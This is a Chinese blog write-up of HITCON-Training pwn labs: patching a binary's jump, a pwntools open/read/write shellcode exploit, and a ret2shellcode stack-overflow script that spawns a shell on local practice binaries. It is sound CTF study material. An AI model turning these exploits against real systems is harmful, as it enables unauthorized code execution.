Pwn-10月23-Hitcon(一)



歡迎前往個人主頁享受更為優質的體驗。

Pwn-10月23-Hitcon(一)

繼續二進制修煉,今天開始肝Hiton-training,膜着m4x,以及另一位大佬23R3F的題解蹣跚前行。

lab1-sysmagic

貌似第一題會比較簡單,先用IDA-Pro靜態分析一下:

貌似直接得到了一個能夠輸出flag的函數?由於這是個elf32位可執行文件所以我們需要在linux下面執行:

可以很簡單就看懂邏輯,輸入一個值,然后比較如果相等,得出flag。

解法1 - patch

IDA Pro -- keypatch,使用keypatch插件來修改匯編代碼,我們可以直接將關鍵的一步nop掉或者改成完全相反的操作。

例如將.text:08048722的跳轉匯編指令改為jmp無條件跳轉,或者是與jnz相反的jz操作。

修改為無條件跳轉后需要將其保存到對應文件中:

然后去把文件挪到linux上運行試試發現並沒有用,因為改為jmp后其函數直接少了一部分對flag的操作:

所以我們只能將原樣本中的jnz改為jz了,改完之后函數已經成為不等則輸出flag了:

運行效果:

解法2 - gdb set register value

通過gdb動態調試,並且在即將進行比較前,將 eax置為與edx相同的值即可:

然后即可得到flag。

lab2-orw

檢查保護措施

checksec orw.bin,題目orw的意思是open,read,write這三個函數。

emmm這是我做的第一個開啟了Stack保護的題目呢。

邏輯分析

簡單跑一下可以看到直接是讓你輸入shellcode:

放IDA pro里面看看:

細看一下orw_seccomp()函數:

prctl函數又是啥玩意兒?Prctl(用戶和內核溝通的一個絕佳函數),這個函數可以對進程進行一些設置。而有一道強網杯題目就好像用了這玩意兒的技術?

輸入shellcode之后應該會執行,所以這題的目的是讓我們自己構造shellcode去讀取flag?既然要構造shellcode,那就需要用到pwntools的asm模塊和shellcraft模塊:

asm模塊是將操作轉換為匯編命令,而shellcraft是具有各種函數對應匯編命令的一個模塊,十分好用:

pwntools中的context模塊又是用來干嘛的呢?

context是pwntools用來設置環境的功能。在很多時候,由於二進制文件的情況不同,我們可能需要進行一些環境設置才能夠正常運行exp,比如有一些需要進行匯編,但是32的匯編和64的匯編不同,如果不設置context會導致一些問題。

例如context(os='linux', arch='amd64', log_level='debug')

這句話的意思是:

  1. os設置系統為linux系統,在完成ctf題目的時候,大多數pwn題目的系統都是linux
  2. arch設置架構為amd64,可以簡單的認為設置為64位的模式,對應的32位模式是’i386’
  3. log_level設置日志輸出的等級為debug,這句話在調試的時候一般會設置,這樣pwntools會將完整的io過程都打印下來,使得調試更加方便,可以避免在完成CTF題目時出現一些和IO相關的錯誤。

exp

根據題意和題解😂(正處於漲姿勢的時候)寫出exp:


#!/usr/bin/env python
#coding:utf-8

from pwn import *
from pwn import shellcraft as sc
context.log_level = "debug"

shellcode = sc.pushstr("/home/xiaoyifeng/ctf/pwn/Hiton/lab2/flag")
shellcode += sc.open("esp")
#  open返回的文件文件描述符存貯在eax寄存器里 
shellcode += sc.read("eax", "esp", 0x100)
#  open讀取的內容放在棧頂 
#  write函數在棧頂讀取0x100大小的內容並打印出來
shellcode += sc.write(1, "esp", 0x100)

io = process("./orw.bin")
#print(asm(shellcode))
io.sendlineafter("shellcode:", asm(shellcode))
print io.recvall()
io.close()

運行效果:

lab3-ret2sc

題目名是return to shellcode的簡寫,應該是利用return返回然后執行shellcode之類的操作?

檢查保護措施

checksec ret2sc

emmm沒有開啟啥保護,沒有開啟棧溢出檢測,也沒有開啟棧不可執行(NX)。

邏輯分析

跑一下發現讓我們輸入字符串到Name里面,還有一個try your best?首先想到的是會不會又是啥棧溢出什么的。

嗯,情況是有的:

通過gdb動態調試可以發現在輸入try your best 的值的時候可以發生溢出,並且將EIP指向我們構造的位置:

而這個臨界值我們可以通過pattern search來查我們構造的pattern偏移量,得到為32。根據大佬的題解了解到return to shellcode是一種題型,我甚至想到了又用ROP chain???黑人問號.jpg😭。

原來return to shellcode的操作就是將shellcode寫入name變量空間,然后通過返回到該地址從而執行shellcode(NX未開啟,棧可執行)

該變量地址為0x804A060

構造EXP

這個exp需要用到shellcraft和asm,來將shellcode轉為匯編指令:

#!/usr/bin/env python
#coding:utf-8

from pwn import *
context(os = "linux", arch = "i386",log_level="debug")

io = process("./ret2sc")

#獲得sh的命令多種多樣,並且有不同系統版本的sh
#shellcode = asm(shellcraft.execve("/bin/sh"))
shellcode = asm(shellcraft.i386.linux.sh())
io.sendlineafter(":", shellcode)

#flat模塊能將pattern字符串和地址結合並且轉為字節模式
payload = flat(cyclic(32), 0x804a060)
io.sendlineafter(":", payload)

io.interactive()
io.close()

運行效果:

小結

內容涉及 context 模式設置,asm模塊,shellcraft模塊,patch操作,return to shellcode題型,pwntools flat模塊。

今天先混到這兒。。。我真菜😭。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM